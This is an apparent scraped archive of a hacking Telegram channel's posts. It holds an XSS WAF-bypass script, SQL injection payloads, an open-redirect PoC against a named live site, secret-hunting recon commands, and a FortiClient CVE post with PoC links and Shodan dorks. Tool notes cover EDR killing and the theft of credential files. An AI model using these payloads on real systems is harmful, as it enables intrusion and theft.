Hacking Vidhya
前往频道在 Telegram
We Talk about : Hacking , CTFs , Pentesting , Red & Blue Team etc. Not Allowed: Selling, Carding, Cracking Crypto.
显示更多385
订阅者
+224 小时
+47 天
+2430 天
帖子存档
]\n\n📌 Example with fake encoding:\n\nPOST /submit-comment HTTP/1.1 \nHost: target.com \nContent-Encoding: x-nonsense \nContent-Type: application/x-www-form-urlencoded\n\ncomment=\n\n🧠 Why it works:\n\nWAFs might block based on the header alone or misinterpret it.\n\nThe backend may not enforce the declared encoding and just process the raw body.\n\n\n🛠️ Python Example:\n\nimport requests\n\npayload = 'comment='\nheaders = {\n 'Content-Encoding': 'x-xyz123', # Random/fake value\n 'Content-Type': 'application/x-www-form-urlencoded'\n}\n\nrequests.post('https://target.com/submit-comment', data=payload, headers=headers)\n\n⚠️ Notes:\n\nBehavior varies between servers and WAFs.\n\nBest used when stored content is later rendered in a browser (Stored XSS).\n\nAlways test on a case-by-case basis.\n\n\n#BugBounty #StoredXSS #WAFBypass #XSS #InfoSec #WebSecurity #ContentEncoding","datePublished":"2026-04-09T07:09:02Z","dateModified":"2026-04-09T07:09:02Z","author":{"@type":"Organization","name":"Hacking Vidhya","url":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"publisher":{"@type":"Organization","name":"Hacking Vidhya","url":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":110},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":1},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":4}]}},{"@type":"ListItem","position":3,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya/posts/972","url":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya/posts/972","mainEntityOfPage":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya/posts/972","headline":"TP are dead","articleBody":"TP are dead","datePublished":"2026-04-08T15:32:56Z","dateModified":"2026-04-08T15:32:56Z","author":{"@type":"Organization","name":"Hacking Vidhya","url":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"publisher":{"@type":"Organization","name":"Hacking Vidhya","url":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":104},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":1}]}},{"@type":"ListItem","position":4,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya/posts/970","url":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya/posts/970","mainEntityOfPage":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya/posts/970","headline":"How to test for SQL injection 👇 1) Select params for testing in: 🔹 URL query 🔹 POST body 🔹 Headers 🔹 Cookies…","articleBody":"How to test for SQL injection 👇\n\n1) Select params for testing in:\n\n🔹 URL query\n🔹 POST body\n🔹 Headers\n🔹 Cookies\n\nIt can be any parameter. Typically, I test integer parameters first.\n\n2) Perform math if the tested field is an integer:\n\n🔹 user_id=1338-1\n\nIf there is a sign of an SQL injection, you will see a result with user_id=1337.\n\n3) Try to add symbols at the end of the parameter:\n\n🔹 ' (single quote)\n🔹 \" (double quote)\n🔹 ; (semicolon)\n\nObserve the response status. If you spot an error response, there might be a chance of SQL injection.\n\n4) Try to add another symbol and see if the error disappears\n\n🔹 login=admin (status: 200)\n🔹 login=admin' (status: 500)\n🔹 login=admin'' (status: 200)\n\nIn SQL the escape character for a single quote is another single quote, and for a double quote is another double quote\n\n5) Perform SQL query functions\n\nInt\n🔹 user_id=1337 AND 1=1 ✅\n🔹 user_id=1337 AND 2=1 ❌\n\nText\n🔹 login=admin' AND 'A'='A ✅\n🔹 login=admin' AND 'A'='B ❌\n\nJSON int\n🔹 {\"user_id\":\"1337 AND 1=1\"} ✅\n\n6) Combine SQL query functions with comments\n\nInt ✅\n🔹 user_id=1337 AND 1=1 --\n\nText ✅\n🔹 login=admin' AND 'A'='A' --\n\nJSON int ✅\n🔹 {\"user_id\":\"1337 AND 1=1 --\"}\n\nJSON text ✅\n🔹 {\"login\":\"admin' AND 'A'='A' --\"}\n\n7) Use Tools to test vulnerable params further\n\n🔹 sqlmap\n🔹 r0oth3x49/ghauri (github)\n\nRemember that you only need to obtain the database version for the initial Proof of Concept (POC). Further exploitation should be tested only with permission from the program/company\n\n8) You can use the following DB Fiddle to experiment with SQL injection points and behavior.\n\nEdit SQL queries on the right and then click RUN to see how the SQL queries are executed and what results are displayed at the bottom.\n\nhttps://www.db-fiddle.com/f/mZ2ftcLLzZLbrEELn38hjQ/0","datePublished":"2026-04-08T06:08:02Z","dateModified":"2026-04-08T06:08:02Z","author":{"@type":"Organization","name":"Hacking Vidhya","url":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"publisher":{"@type":"Organization","name":"Hacking Vidhya","url":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":112},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":1},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":4}]}},{"@type":"ListItem","position":5,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya/posts/968","url":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya/posts/968","mainEntityOfPage":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya/posts/968","headline":"Open Disclosure Bug : Open Redirect Poc : https://spectrocoin.com/%2fattacker.com/about.html Payload : /%2fat…","articleBody":"Open Disclosure \n\nBug : Open Redirect \nPoc : https://spectrocoin.com/%2fattacker.com/about.html\n\nPayload : /%2fattacker.com/about.html","datePublished":"2026-04-07T07:14:39Z","dateModified":"2026-04-07T07:14:39Z","author":{"@type":"Organization","name":"Hacking Vidhya","url":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"publisher":{"@type":"Organization","name":"Hacking Vidhya","url":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":118},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":2},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":1}]}},{"@type":"ListItem","position":6,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya/posts/966","url":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya/posts/966","mainEntityOfPage":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya/posts/966","headline":"🕵️♂️ 𝙏𝙝𝙚 𝘼𝙧𝙩 𝙤𝙛 𝙁𝙞𝙣𝙙𝙞𝙣𝙜 𝙃𝙞𝙙𝙙𝙚𝙣 𝙒𝙚𝙗 𝘼𝙨𝙨𝙚𝙩𝙨 — 𝙁𝙧𝙤𝙢 𝘿𝙖𝙧𝙠 𝙎𝙪𝙗𝙙𝙤𝙢𝙖𝙞𝙣𝙨 𝙩𝙤 𝙐𝙣𝙙𝙤𝙘𝙪𝙢𝙚𝙣𝙩𝙚𝙙 𝘼𝙋𝙄𝙨 🔴Undocumented APIs 🔴Fo…","articleBody":"🕵️♂️ 𝙏𝙝𝙚 𝘼𝙧𝙩 𝙤𝙛 𝙁𝙞𝙣𝙙𝙞𝙣𝙜 𝙃𝙞𝙙𝙙𝙚𝙣 𝙒𝙚𝙗 𝘼𝙨𝙨𝙚𝙩𝙨 — 𝙁𝙧𝙤𝙢 𝘿𝙖𝙧𝙠 𝙎𝙪𝙗𝙙𝙤𝙢𝙖𝙞𝙣𝙨 𝙩𝙤 𝙐𝙣𝙙𝙤𝙘𝙪𝙢𝙚𝙣𝙩𝙚𝙙 𝘼𝙋𝙄𝙨 \n\n🔴Undocumented APIs\n🔴Forgotten JS files\n🔴Leaked tokens\n🔴Archived parameters\n\nAll are doors to high-impact vulnerabilities in bug bounty.\n\n•••••••••••••••••••••••••••••••••••••••••••••••\n\n🔎 Step 1: Recon Hidden Subdomains Like a Pro\n\n# Collect fresh subdomains via ASN & DNS\n\namass enum -passive -asn ASXXXX -o subdomains.txt\n\n# Passive brute + certificate scraping\n\nassetfinder target.tld >> subdomains.txt\ncrt.sh/?q=%.target.tld | unfurl domains | tee -a subdomains.txt\n# Check alive hosts\n\ncat subdomains.txt | httpx -silent -title -tech-detect -status-code > alive.txt\n\nTip: Use dnsx for wildcard DNS or misconfigured zones:\n\ndnsx -d target.tld -a -resp-only\n\n•••••••••••••••••••••••••••••••••••••••••••••••\n\n🧪 Step 2: JavaScript Recon for Gold\n\n# Crawl & extract JS\n\nkatana -u https://target.tld -js-crawl -o js_files.txt\n\n# Find sensitive URLs & params in JS\n\ncat js_files.txt | xargs -I{} linkfinder -i {} -o cli >> js_endpoints.txt\n\n# Look for secrets or tokens\n\ngf secrets js_files.txt\n\n🧠 Targets:\n\napi_key, bearer, access_token\n\nForgotten /admin, /internal, /v1/private\n\nSwagger/OpenAPI paths (/swagger.json, /api-docs)\n\n\n•••••••••••••••••••••••••••••••••••••••••••••••\n\n📜 Step 3: Uncover Forgotten Parameters (Wayback Machine)\n\nwaybackurls target.tld > wayback.txt\ncat wayback.txt | unfurl keys | sort -u > parameters.txt\n\n# Smuggle and test them\n\nqsreplace 'injected' < parameters.txt | while read param; do\n curl -s \"https://target.tld?$param\" | grep -iE \"error|sql|warning\"\ndone\n\n📌 Combine with dalfox or kiterunner to discover more:\n\ndalfox file wayback.txt -o xss.txt\n\n•••••••••••••••••••••••••••••••••••••••••••••••\n\n🔐 Step 4: Real-World Example (Bug Chain)\n\n🔗 Target: beta-api.target.tld (forgotten subdomain)\n\n🔴Found: Via ASN recon + crt.sh\n\n🔴JS Leak: /static/js/main.js → contains Bearer xyz...\n\n🔴Wayback: Archived /v1/admin/deleteUser?uid=...\n\n🚨 Impact: Privileged API access via leaked token + broken access control\n\n🐞Result: Full account deletion vulnerability (P1)\n\n•••••••••••••••••••••••••••••••••••••••••••••••\n\nTask Tool\n\nSubdomain Enum amass\nassetfinder\ndnsx\nJS Recon katana\nlinkfinder\ngetJS\nArchived Params waybackurls\ngau\nunfurl\nAPI Testing Postman\nswagger-parser\nhttpx\nToken & Secret Hunt gf\ntrufflehog\nshhgit\n\n📌 Join Hacking Vidhya Community\nFor Tools | CTFs | News | Learning | Collabs","datePublished":"2026-04-07T07:07:27Z","dateModified":"2026-04-07T07:07:27Z","author":{"@type":"Organization","name":"Hacking Vidhya","url":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"publisher":{"@type":"Organization","name":"Hacking Vidhya","url":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":109},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":3}]}},{"@type":"ListItem","position":7,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya/posts/965","url":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya/posts/965","mainEntityOfPage":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya/posts/965","headline":"https://t.me/hackingvidhyaa","articleBody":"https://t.me/hackingvidhyaa","datePublished":"2026-04-07T05:29:31Z","dateModified":"2026-04-07T05:30:57Z","author":{"@type":"Organization","name":"Hacking Vidhya","url":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"publisher":{"@type":"Organization","name":"Hacking Vidhya","url":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":1}]}},{"@type":"ListItem","position":8,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya/posts/963","url":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya/posts/963","mainEntityOfPage":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya/posts/963","headline":"PoisonKiller Another BYOVD process killer. works on CrowdStrike. fully signed. Blog: Reverse Engineering a 0d…","articleBody":"PoisonKiller\n\nAnother BYOVD process killer. works on CrowdStrike. fully signed.\n\nBlog: Reverse Engineering a 0day used Against CrowdStrike EDR","datePublished":"2026-04-06T16:24:27Z","dateModified":"2026-04-06T16:24:27Z","author":{"@type":"Organization","name":"Hacking Vidhya","url":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"publisher":{"@type":"Organization","name":"Hacking Vidhya","url":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"image":["https://n2.tlmtr.cc/p/_8vvffZhltWOhdK5t1SIjRk5j4oXke7XmjytRGCfAosk?ty=l"],"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":103},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":2}]}},{"@type":"ListItem","position":9,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya/posts/962","url":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya/posts/962","mainEntityOfPage":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya/posts/962","headline":"*OFFICIAL LAUNCH ANNOUNCEMENT 🚀* 🚩 On this powerful festival of new beginnings *_make a decision that actuall…","articleBody":"*OFFICIAL LAUNCH ANNOUNCEMENT 🚀* \n\n🚩 On this powerful festival of new beginnings \n *_make a decision that actually changes your future_* ⚡ \n➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖\n *🔥 WE ARE OFFICIALLY LAUNCHING* \n\n *AI-Powered Offensive Security Program* \n*(CEH v13 + Advanced Red Teaming + APT-Based Training)* \n\n💣 THIS IS NOT A NORMAL COURSE.\n\nThis is a 90-Day Intensive Cybersecurity Training System \nbuilt to train you like real attackers think and operate. \n➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖\n🎯 *WHAT YOU WILL LEARN*\n\n✔ *Ethical Hacking (CEH v13 – Core to Advanced)* \n✔ *Real-World Attack Techniques & Exploitation* \n✔ *Red Teaming Mindset & Execution* \n✔ *APT (Advanced Persistent Threat) Simulation* \n✔ *Web, Network & System Attacks (Hands-On)* \n✔ *Privilege Escalation & Post Exploitation* \n✔ *OSINT & Intelligence Gathering* \n✔ *Practical Labs + Real Case Scenarios* \n➖➖➖➖➖➖➖➖➖➖➖➖➖➖\n🎓 *WHAT YOU GET AFTER COMPLETION*\n\n✔ *Official GLOBAL RECOGNISED Completion Certificate*\n✔ Internship Opportunity (Based on Performance) \n✔ _Real Project Exposure_ \n✔ _Practical Skill Portfolio_ \n➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖\n🚀 *WHY THIS PROGRAM?*\n\n👉 Most people only watch tutorials \n👉 Very few build real skills \n\nThis program is designed for: \n➡️ *Execution, not just learning*\n➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖\n🏢 *ENTERPRISE-LEVEL TRAINING APPROACH*\n\nThis program is designed using **enterprise-grade training standards* \n\n✔ Structured learning like real company environments \n✔ Role-based skill development (Red Team / SOC mindset) \n✔ Real-world simulation-based training approach \n\n👉 The same mindset used to train teams is applied here \n➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖\n 👤 *WHO THIS IS FOR* \n\n✔ Serious learners \n✔ Future Ethical Hackers \n✔ Red Teaming aspirants \n✔ Cybersecurity career builders \n✔ 10/12th Passout \n✔ *AND anyone Who Want to build their career in Cybersecurity in 2026* \n\n❌ Not for casual learners \n❌ Not for shortcut seekers \n➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖\n 📅 *BATCH DETAILS*\n\n🗓 *Batch Starting:* 20 April \n⏳ *Duration:* 90 Days \n🎓 *Mode:* Live Online Training \n👥 *Seats:* Only 40 (Limited Intake) \n➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖\n 🌐 *LANGUAGE OPTIONS*\n\n✔ Hindi Batch Available \n✔ English Batch Available \n\n👉 *Learn in your preferred language* \n➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖\n 💰 *PRICING & PAYMENT OPTIONS*\n\n💰 Full Price: ₹5,000 \n\n🔥 Launch Offer (Next 24 Hours Only): \n👉 Special price is currently active \n\n⚠️ After 24 hours: \nPrice will increase — no exceptions\n\n➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖\n 💳 **EMI Payment Options*\n\n✔ Full Payment \n✔ Split Option Available: \n\n 👉 *₹3000 Now* \n 👉 *₹2000 Later* \n➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖\n🤔 *HAVE ANY DOUBTS?*\n\n✔ Full curriculum already available on website \n✔ Detailed explanation provided \n✔ Transparent structure \n\n📞 *You can request a callback at your preferred time* \n➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖\n 🌐 *More Information & Enrollment*\n\n👉 Visit Now: \nsamcommunity.in/ai-offensive-security\n-➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖\n💣 *IMPORTANT*\n\nThis is not a mass training program. \nOnly serious learners will be onboarded. \n\nOnce seats are filled → *REGISTRATION CLOSED*\n➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖\n 🎯 *FINAL MESSAGE*\n\nToday is not just a festival. \nIt’s a chance to start something serious. \n\nMost people will scroll past this. \nA few will take action. \n\n👉 *Decide which one you are.* \n\n> *TEAM SAMCOMMUNITY ACADEMY*","datePublished":"2026-04-05T17:38:50Z","dateModified":"2026-04-06T15:11:07Z","author":{"@type":"Organization","name":"Hacking Vidhya","url":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"publisher":{"@type":"Organization","name":"Hacking Vidhya","url":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":28}]}},{"@type":"ListItem","position":10,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya/posts/959","url":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya/posts/959","mainEntityOfPage":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya/posts/959","headline":"https://t.me/Hacking_Vidhya?livestream=66ede283a5821597f0","articleBody":"https://t.me/Hacking_Vidhya?livestream=66ede283a5821597f0","datePublished":"2026-04-05T12:32:44Z","dateModified":"2026-04-05T12:32:44Z","author":{"@type":"Organization","name":"Hacking Vidhya","url":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"publisher":{"@type":"Organization","name":"Hacking Vidhya","url":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":130},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":1},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":1}]}},{"@type":"ListItem","position":11,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya/posts/957","url":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya/posts/957","mainEntityOfPage":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya/posts/957","headline":"UnderlayCopy_bof BOF for Havoc that copies locked Windows files (SAM, SYSTEM, NTDS.dit) via raw MFT parsing —…","articleBody":"UnderlayCopy_bof\nBOF for Havoc that copies locked Windows files (SAM, SYSTEM, NTDS.dit) via raw MFT parsing — no VSS, no Registry APIs, no PowerShell\n#bof","datePublished":"2026-04-05T12:26:24Z","dateModified":"2026-04-05T12:26:24Z","author":{"@type":"Organization","name":"Hacking Vidhya","url":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"publisher":{"@type":"Organization","name":"Hacking Vidhya","url":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":126},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":2},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":1}]}},{"@type":"ListItem","position":12,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya/posts/956","url":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya/posts/956","mainEntityOfPage":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya/posts/956","headline":"Hey everyone , I have created a discussion grp so you can ask your doubts , queries and chit-chat also so mak…","articleBody":"Hey everyone , I have created a discussion grp so you can ask your doubts , queries and chit-chat also so make sure to join this grp 😁 :https://t.me/BugBountyTalks","datePublished":"2026-04-03T13:30:44Z","dateModified":"2026-04-03T13:30:44Z","author":{"@type":"Organization","name":"Hacking Vidhya","url":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"publisher":{"@type":"Organization","name":"Hacking Vidhya","url":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":141},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":1},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":1}]}},{"@type":"ListItem","position":13,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya/posts/954","url":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya/posts/954","mainEntityOfPage":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya/posts/954","headline":"AirSnitch is a new Wi-Fi attack technique discovered by researchers from University of California, Riverside…","articleBody":"AirSnitch is a new Wi-Fi attack technique discovered by researchers from University of California, Riverside and KU Leuven.\nIt bypasses Wi-Fi client isolation - a security feature meant to stop devices on the same Wi-Fi from spying on each other\n\nNormally:\n\nSame Wi-Fi users can't see each other's traffic\nRouter isolates clients\n\nWith AirSnitch:\n\nAttacker on same Wi-Fi can spy on you\nIntercept traffic\nMan-in-the-middle attacks\nSteal cookies / session\nDNS poisoning\n\nWhy it's serious\n\nWorks on home routers\nWorks on enterprise Wi-Fi\nWorks on guest networks\nWorks on public Wi-Fi (coffee shops, airports)\n\nAirSnitch does NOT break Wi-Fi password or encryption\nInstead it bypasses security around it - which is sometimes worse.☠️\n\nNew CVE with practical tool kit just released \nPublished: Feb 2026\nPresented at: NDSS 2026 security conference\nGitHub repo released recently\n\nhttps://github.com/vanhoefm/airsnitch","datePublished":"2026-04-03T06:52:29Z","dateModified":"2026-04-03T06:52:29Z","author":{"@type":"Organization","name":"Hacking Vidhya","url":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"publisher":{"@type":"Organization","name":"Hacking Vidhya","url":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":137},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":1},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":3}]}},{"@type":"ListItem","position":14,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya/posts/952","url":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya/posts/952","mainEntityOfPage":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya/posts/952","headline":"🚨 Bug Bounty / Red Team Tip CVE-2026-21643 — Critical Pre-Auth SQL Injection (CVSS 9.1) in FortiClient EMS 7.…","articleBody":"🚨 Bug Bounty / Red Team Tip\n\nCVE-2026-21643 — Critical Pre-Auth SQL Injection (CVSS 9.1) in FortiClient EMS 7.4.4 (multi-tenant mode only)\n\nUnauthenticated attackers can inject arbitrary SQL via the Site HTTP header to the public endpoint /api/v1/init_consts (or login endpoint). This happens before authentication and hits the PostgreSQL backend with superuser-level access in many setups → full DB dump, schema extraction, or RCE (via PostgreSQL features like COPY FROM PROGRAM).\n\n- Affected: Only FortiClient EMS 7.4.4 (multi-tenant/Sites feature enabled)\n- Not affected: 7.2.x, 8.0.x, single-site deployments\n- Fixed: Upgrade to 7.4.5 or later\n- Status: Actively exploited in the wild + public PoCs available\n\nMain Detail Article (Highly Recommended): \nBishop Fox deep-dive with exploitation paths, payloads (e.g., pg_sleep(5) for blind testing), and lab results → \nhttps://bishopfox.com/blog/cve-2026-21643-pre-authentication-sql-injection-in-forticlient-ems-7-4-4\n\nPublic PoC (GitHub): \nhttps://github.com/0xBlackash/CVE-2026-21643\n\nUseful Google/Shodan Dorks:\n- http.title:\"FortiClient EMS\" \"7.4.4\"\n- http.html:\"FortiClient Enterprise Management Server\"\n- http.favicon.hash: -specific-hash (or search for EMS login page)\n- Shodan: \"Model: FCTEMS\" or \"FortiClient EMS\"\n\nQuick Check:\nIf your EMS login page is internet-facing and running 7.4.4 with multi-tenant enabled → patch ASAP or block public access. Thousands of instances are exposed (Shadowserver ~2k+, Shodan ~1k+).\n\nHigh-value target for hunters. Patch or restrict immediately!\n\n#BugBounty #RedTeam #Fortinet #CVE202621643 #SQLi","datePublished":"2026-04-01T09:17:29Z","dateModified":"2026-04-01T09:17:29Z","author":{"@type":"Organization","name":"Hacking Vidhya","url":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"publisher":{"@type":"Organization","name":"Hacking Vidhya","url":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":129},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":2},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":1}]}},{"@type":"ListItem","position":15,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya/posts/951","url":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya/posts/951","mainEntityOfPage":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya/posts/951","headline":"https://www.getaiperks.com/en","articleBody":"https://www.getaiperks.com/en","datePublished":"2026-04-01T08:39:30Z","dateModified":"2026-04-01T08:39:30Z","author":{"@type":"Organization","name":"Hacking Vidhya","url":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"publisher":{"@type":"Organization","name":"Hacking Vidhya","url":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":103},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":1}]}},{"@type":"ListItem","position":16,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya/posts/950","url":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya/posts/950","mainEntityOfPage":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya/posts/950","headline":"https://www.youtube.com/watch?v=o7NYXvYohYk","articleBody":"https://www.youtube.com/watch?v=o7NYXvYohYk","datePublished":"2026-04-01T07:45:50Z","dateModified":"2026-04-01T07:45:50Z","author":{"@type":"Organization","name":"Hacking 